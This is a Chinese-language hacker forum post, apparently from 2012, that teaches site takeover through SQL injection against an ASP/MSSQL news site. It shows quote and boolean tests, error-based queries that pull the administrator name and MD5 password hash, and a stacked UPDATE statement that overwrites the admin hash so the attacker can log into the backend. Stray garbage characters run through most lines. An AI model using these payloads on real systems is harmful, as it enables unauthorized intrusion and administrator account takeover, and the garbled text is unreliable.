经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。4 A) d0 u6 r v
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)
! N1 ^; d l. E7 V; Q8 p" A& H测试如下：
8 m9 y9 R2 a% J( |http://www.tmdsb.com/news.asp?id=121
3 g# c ^( }* K' j& n$ F在地址后输入单引号，显示! A8 Z% k8 N8 _" h: h
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’5 C1 r3 H- A6 `" S
字符串 ’’’ 之前有未闭合的引号$ h( g% |9 H1 N+ k
/news/tmdws.asp，行63
/ A/ f% s; e' n7 K# G0 N说明没有过滤单引号且数据库是MSSQL., u u) N: m# }! G9 F8 I
and 1=1正常。and 1=2出错。肯定存在注入' b Z' ~' d* ]- F7 p) U/ [
接着输入# X2 x' X4 T) t( [
http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)- P1 D$ b ]( U! F! j
得到帐号为:admin' N) l. E: b# B5 K
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin): [- j/ ]3 ~: F; K8 I; |
得到密码为:a4716077c2ba075c& Z2 s2 u# I/ e2 i5 n. p
接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433' s7 Q/ b: T+ \6 S2 ~0 k
命令如下 :/ w6 y# z- q2 Z. O
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–# c) N% C) h3 Y& J* G
这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41